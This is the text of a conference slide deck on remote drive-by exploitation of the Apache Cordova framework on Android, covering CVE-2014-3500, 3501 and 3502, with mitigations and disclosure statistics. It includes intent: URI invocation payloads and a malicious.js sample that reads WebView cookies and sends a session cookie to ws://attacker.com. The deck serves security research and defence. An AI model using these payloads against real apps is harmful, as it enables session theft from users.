THE BANK JOB: MOBILE EDITION
Remote Exploitation of the Cordova Framework

Roee Hay & David Kaplan
IBM Security Systems
X-Force Application Security Research Team
APACHE CORDOVA
Apache Cordova
Apache Cordova

iOS

Native App

Android

Native App

Windows Phone

Native App
Apache Cordova

HTML5 App

Android
Apache Cordova

5.81% of all Android apps

AppBrain Stats

<table>
<thead>
<tr>
<th>Category</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Business</td>
<td>13.32%</td>
</tr>
<tr>
<td>Finance</td>
<td>11.13%</td>
</tr>
<tr>
<td>Health &amp; Fitness</td>
<td>11.07%</td>
</tr>
<tr>
<td>Sports</td>
<td>11.05%</td>
</tr>
<tr>
<td>Medical</td>
<td>10.88%</td>
</tr>
<tr>
<td>Travel &amp; Local</td>
<td>10.07%</td>
</tr>
<tr>
<td>Shopping</td>
<td>9.99%</td>
</tr>
</tbody>
</table>
ANDROID APP SECURITY
Feature Restriction

- Sensitive features are restricted by default.
- Usually can be enabled by acquiring permissions.

```java
SmsManager sms = SmsManager.getDefault();

sms.sendTextMessage(phoneNumber, null, message, null, null);
```

requires

```
android.permission.SEND_SMS
```
Abuse of Feature Restriction

• **Goal.** Abuses System services for its own profit:
  • Premium SMS numbers
  • GPS access
  • System log access

• **Prerequisites.** None.

• **Attack Vector.** Malware

• **Detectability.** Suspicious use of permissions
Android Application Sandbox

• Isolates app data from being accessed by malware

• Mainly implemented by per-app package Linux user.
Abuse of the Sandbox

• Goal
  • Subvert the Integrity & Confidentiality of other apps

• Prerequisites
  • Target apps must be vulnerable

• Attack vectors
  • Malware
  • Drive-By Exploitation (Naïve Browse)

• Detectability
  • Harder – No use of permissions
ATTACK OUTLINE
Remote Drive-By Attack (Simplified)
Remote Drive-By Attack (Simplified)

Victim’s Device

Naïve Browse

Cordova App
Remote Drive-By Attack (Simplified)
Remote Drive-By Attack (Simplified)
Remote Drive-By Attack (Simplified)

Victim’s Device
Remote Drive-By Attack (Simplified)

Sensitive data leak

Victim’s Device
STEP I: MALICIOUS INVOCATION

Cordova App

Malicious Invocation
Activities & IPC

Activities – Building Block of Android apps
Activities & IPC

*Activities* – Building Block of Android apps

- Inter-Process communication using Intents
Activities & IPC

**Activities** – Building Block of Android apps

- Inter-Process communication using Intents
- *Exported* activities can be invoked by other apps
Explicit vs Implicit Intents

Explicit Intents – Target activities by their fully qualified identifier (e.g. App.B)

Example:

```java
Intent i = new Intent()
i.setClassName("App","B");
i.setData("some payload")
i.putExtra("foo","bar");
startActivity(i);
```
Explicit vs Implicit Intents

*Implicit* Intents – Target is not specified. Resolution by Intent filters, e.g. URI scheme.

Example #1:

```java
Intent i = new Intent()
i.setData("play://hello");
i.putExtra("foo", "bar");
startActivity(i);
```
Explicit vs Implicit Intents

**Implicit** Intents – Target is not specified. Resolution by Intent filters, e.g. URI scheme.

Example #2:

```java
Intent i = new Intent()
i.setData("https://www.ibm.com");
i.putExtra("foo", "bar");
startActivity(i);
```
Explicit vs Implicit Intents

*Implicit* Intents – Target is not specified. Resolution by Intent filters, e.g. URI scheme.

Example #2:

```
Intent i = new Intent();
i.setData("https://www.ibm.com");
startActivity(i);
```

Complete action using

- Browser
- Chrome
- Google+
Remote Invocation via Browsers
Remote Invocation via Browsers

Naïve Browse
Remote Invocation via Browsers
Remote Invocation via Browsers

Explicit Invocation:

```html
intent:#Intent;component=App/.B;S.param=data;end
```
Remote Invocation via Browsers

Explicit Invocation:

```
intent:#Intent;component=App/.B;S.param=data;end
```

Implicit Invocation:

```
intent:#Intent;scheme=app://;S.param=data;end
```
Remote Invocation via Browsers
Remote Invocation via Browsers

<table>
<thead>
<tr>
<th>Implicit</th>
<th>Explicit</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td>✗</td>
</tr>
<tr>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>✓</td>
<td>✗</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Implicit</th>
<th>Explicit</th>
</tr>
</thead>
<tbody>
<tr>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
STEP I DEMO
STEP II: CROSS-APPLICATION SCRIPTING
The Embedded Browser

Controlled by:

```java
WebView.loadUrl(String url)
```

In this case:

```java
WebView.loadUrl("https://www.nytimes.com")
```
Cross-Application Scripting (XAS)

But what if...

```java
Intent i = getIntent();
WebView.loadUrl(i.getDataString());
```

On an *exported* activity.
The Cordova XAS Vulnerability (CVE-2014-3500)

CordovaWebView.java

```java
@Override
public void loadUrl(String url) {
    if (url.equals("about:blank") || url.startsWith("javascript:")) {
        this.loadUrlNow(url);
    } else {
        String initUrl = this.getProperty("url", null);

        // If first page of app, then set URL to load to be the one passed in
        if (initUrl == null) {
            this.loadUrlIntoView(url);
        } else {
            // Otherwise use the URL specified in the activity's extras bundle
            this.loadUrlIntoView(initUrl);
        }
    }
}
```
The Cordova XAS Vulnerability (CVE-2014-3500)

CordovaWebView.java

```java
@Override
public void loadUrl(String url) {
    if (url.equals("about:blank") || url.startsWith("javascript:")) {
        this.loadUrlNow(url);
    } else {
        String initUrl = this.getProperty("url", null);
        // If first page of app, then set URL to load to be the one passed in
        if (initUrl == null) {
            this.loadUrlIntoView(url);
        } else {
            this.loadUrlIntoView(initUrl);
        }
    }
}
```

Intent Extra ("url")

Intent Extra ("url")

String initUrl = this.getProperty("url", null);

// If first page of app, then set URL to load to be the one passed in
if (initUrl == null) {
    this.loadUrlIntoView(url);
} else {
    this.loadUrlIntoView(initUrl);
}

this.loadUrlIntoView(initUrl);

WebView.loadUrl(url)
Theft of Sensitive Files by Malware

malicious.js
Theft of Sensitive Files by Malware

Intent with:
file://.../malware/
.../malicious.js
Theft of Sensitive Files

malicious.js

1. Reads sensitive files using IFRAME/AJAX.
   For example: `/app_webview/Cookies`

2. Leak to attacker (explained below)
Theft of Sensitive Files

Problem:

public abstract void setAllowUniversalAccessFromFileURLs (boolean flag)

Sets whether JavaScript running in the context of a file scheme URL should be allowed to access content from any origin. This setAllowFileAccessFromFileURLs (boolean). To enable the most restrictive, and therefore secure policy, this setting should be false. Other access to such resources, for example, from image HTML elements, is unaffected.

The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level JELLY_BEAN and above.

Parameters

flag  whether JavaScript running in the context of a file scheme URL should be allowed to access content from any origin

Cordova to the Rescue!

@TargetApi (16)

private static class Level16Apis {
    static void enableUniversalAccess(WebSettings settings) {
        settings.setAllowUniversalAccessFromFileURLs(true);
    }
}

Theft of Sensitive Files: Remote Attack Upgrade
Theft of Sensitive Files: Remote Attack Upgrade
Theft of Sensitive Files: Remote Attack Upgrade

malicious.htm

Content-Type: application/octet-stream

<HTML>
<SCRIPT>payload</SCRIPT>
</HTML>
Theft of Sensitive Files: Remote Attack Upgrade

Intent with:
file:///sdcard/malicious.htm
Theft of Sensitive Files: Remote Attack Upgrade

Problem:

In practice:

- ~80% of devices are still below KITKAT
- 61% of the exploitable apps in our sample set acquired at least one of the external storage permissions.
STEP II DEMO
STEP III: DATA EXFILTRATION

Sensitive data leak
Option I: Data Exfiltration to Remote Attacker
Option II: Data Exfiltration to Malware

Sensitive data leak
Cordova Whitelists

Problem:

Developer defined allowed end-points for network requests:

https://webservice.mybank.com/
https://*.mybank.com/

Shouldn't be possible to exfiltrate data!
Cordova Whitelist Bypass (CVE-2014-3501)

IceCreamCordovaWebViewClient.java

```java
@override
public WebResourceResponse shouldInterceptRequest(WebView view, String url) {
  try {
    // Check the against the white-list.
    if (((url.startsWith("http:")) ||
         url.startsWith("https:")) && !Config.isUrlWhiteListed(url)) {
      LOG.w(TAG, "URL blocked by whitelist: " + url);
      // Results in a 404.
      return new WebResourceResponse("text/plain", "UTF-8", null);
    }
    ...
  }
}
```
Cordova Whitelist Bypass (CVE-2014-3501)

IceCreamCordovaWebViewClient.java

```java
@Override
public WebResourceResponse shouldInterceptRequest(WebView view, String url) {
    try {
        // Check against the whitelist.
        if ((url.startsWith("http:")) ||
            url.startsWith("https:")) &&
            !Config.isUrlWhiteListed(url)) {
            LOG.w(TAG, "URL blocked by whitelist: " + url);
            // Results in a 404.
            return new WebResourceResponse("text/plain", "UTF-8", null);
    }
    ...
}
```

Leak if ((url.startsWith("http:")) ||
    url.startsWith("https:")) &&
    !Config.isUrlWhiteListed(url)) {
    <BLOCK REQUEST>
    }

Only checks HTTP/HTTPS against Whitelist!
Cordova Whitelist Bypass (CVE-2014-3501)

```java
public WebResourceResponse shouldInterceptRequest(WebView view, String url) {
    ...
    }
```

shouldInterceptRequest does not catch WebSockets now supported in Chrome-based WebView
malicious.js

```javascript
var req = new XMLHttpRequest();
req.open('GET', 'file://data/data/A/app_webview/Cookies', false);
req.onreadystatechange = function() {
    if (req.readyState == 4) {
        var cookies = req.responseText;
        var offset = cookies.search('sessionCookie');
        var session_cookie = cookies.substring(offset, offset + 81);

        var ws = new WebSocket('ws://attacker.com/ws');
        ws.onopen = function() { ws.send(session_cookie); }
    }
}
req.send();
```

Theft of Sensitive Files (using CVE-2014-3501)
Leak to other Apps via URL Loading (CVE-2014-3502)

```java
CordovaWebViewClient.java

@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
    ...
    else {
        if (url.startsWith("file://") ||
            url.startsWith("data:")) ||
            Config.isUrlWhiteListed(url)) {
            return false;
        }
        // If not our application, let default viewer handle
        else {
            try {
                Intent intent = new Intent(Intent.ACTION_VIEW);
                intent.setData(Uri.parse(url));
                this.cordova.getActivity().startActivity(intent);
            } catch (android.content.ActivityNotFoundException e) {
                ...
            }
        }
    }
    return true;
}
```
Leak to other Apps via URL Loading (CVE-2014-3502)

```java
if (url.startsWith("file://")) ||
    url.startsWith("data:")) ||
    Config.isUrlWhiteListed(url)) {
    return false;
}
...
else {
    ...
    Intent intent = new Intent(Intent.ACTION_VIEW);
    intent.setData(Uri.parse(url));
    this.cordova.getActivity().startActivity(intent);
}
```
STEP III DEMO
MITIGATION
Cordova Cross-Application Scripting (CVE-2014-3500)

Developers,
Upgrade to Cordova 3.5.1!!
Avoiding Cross-Application Scripting

Avoid the vulnerability:

Never allow user input to control the embedded browser’s URL via `WebView.loadUrl`
Avoiding Cross-Application Scripting

Avoid the vulnerability:

Never allow user input to control the embedded browser’s URL via `WebView.loadUrl`

Make exploitation harder:

1. Don’t enable JavaScript (unless needed)
2. Don’t enable universal (or file) access from file URLs (unless needed)
Cordova Data Exfiltration Issues (CVE-2014-3501/2)

CVE-2014-3501:
Can be mitigated by using Content Security Policy (CSP) metatags (WebSockets in WebViews honor CSP)
Cordova Data Exfiltration Issues (CVE-2014-3501/2)

CVE-2014-3501:
Can be mitigated by using Content Security Policy (CSP) metatags (WebSockets in WebViews honor CSP)

CVE-2014-3502:
Plugin released for complete mitigation. 3.6.0 will have a full fix via expanded whitelist
Stats

- Sample set of 137 Cordova apps
- 95 apps are exploitable
- Several banking apps are vulnerable
Stats

- Sample set of 137 Cordova apps
- 95 apps are exploitable
- Several banking apps are vulnerable
- Only a single app has updated to latest Cordova!
DISCUSSION & SUMMARY
Discussion & Summary

• We found severe vulnerabilities in one of the most popular Android frameworks
• Responsibly disclosed the issues
• Fixes/mitigation are available
• Android defense mechanisms broke Cordova so they were disabled
• App developers are slow in updating
Intent i = new Intent();
i.setData(“Questions?”);